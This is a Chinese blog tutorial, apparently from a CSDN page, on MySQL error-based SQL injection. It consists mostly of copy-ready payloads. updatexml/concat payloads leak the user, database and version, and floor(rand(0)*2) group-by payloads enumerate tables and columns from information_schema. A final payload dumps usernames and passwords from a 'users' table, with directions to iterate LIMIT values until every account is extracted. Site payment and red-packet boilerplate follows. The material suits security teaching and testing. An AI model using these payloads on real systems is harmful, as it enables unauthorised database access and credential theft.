sql报错注入

1.什么是报错注入?
出现数据库的报错提示

2.爆库
1' and info()--+  
sql语句中不存在这个函数,就会报错显示当前库不存在这个函数,库名就会显示在页面上

3.
函数  updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容

所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式

在解释下concat函数 拼接的意思  
语法:SELECT CONCAT(str1,str2,...)

1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+    爆用户

1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+     爆库

1' and updatexml(1,concat(0x7e,(select version()),0x7e),1)--+     爆版本

通过 mysql 内置库 information_schema 通过构造 SQL 语句查询获取表名,采用 floor 报错并不会存在长度问题
查询第一个表名:
1' and(select 1 from(select count(*),
concat((select (select
    (SELECT distinct concat(0x7e,table_name,0x7e) 
     FROM information_schema.tables where 
     table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),
    floor(rand(0)*2))x from information_schema.tables group by x)a)--+    爆表

查询第二个表名
1' and(select 1 from(select count(*),
concat((select (select
    (SELECT distinct concat(0x7e,table_name,0x7e) 
     FROM information_schema.tables where 
     table_schema=database() LIMIT 1,1)) from information_schema.tables limit 0,1),
    floor(rand(0)*2))x from information_schema.tables group by x)a)--+


Duplicate entry '~guestbook~1' for key 'group_key'中的‘guestbook’是表名

获取users表的字段:
1' and(select 1 from
(select count(*),concat(
    (select (
        select (SELECT distinct concat(0x7e,column_name,0x7e) 
                FROM information_schema.columns where table_name='users' LIMIT 0,1)) 
    from information_schema.tables limit 0,1),floor(rand(0)*2))x 
from information_schema.tables group by x)a)--+    爆第一个字段

1' and(select 1 from
(select count(*),concat(
    (select (
        select (SELECT distinct concat(0x7e,column_name,0x7e) 
                FROM information_schema.columns where table_name='users' LIMIT 1,1)) 
    from information_schema.tables limit 0,1),floor(rand(0)*2))x 
from information_schema.tables group by x)a)--+    爆第二个字段

列名以此类推,全部列名获取完毕后,查询数据
查询users表中的user字段和password字段
1' and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+        

如果存在多个用户,把 limit 0,1 改成 1,1 如此类推直到获取最后一个用户为止。
 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值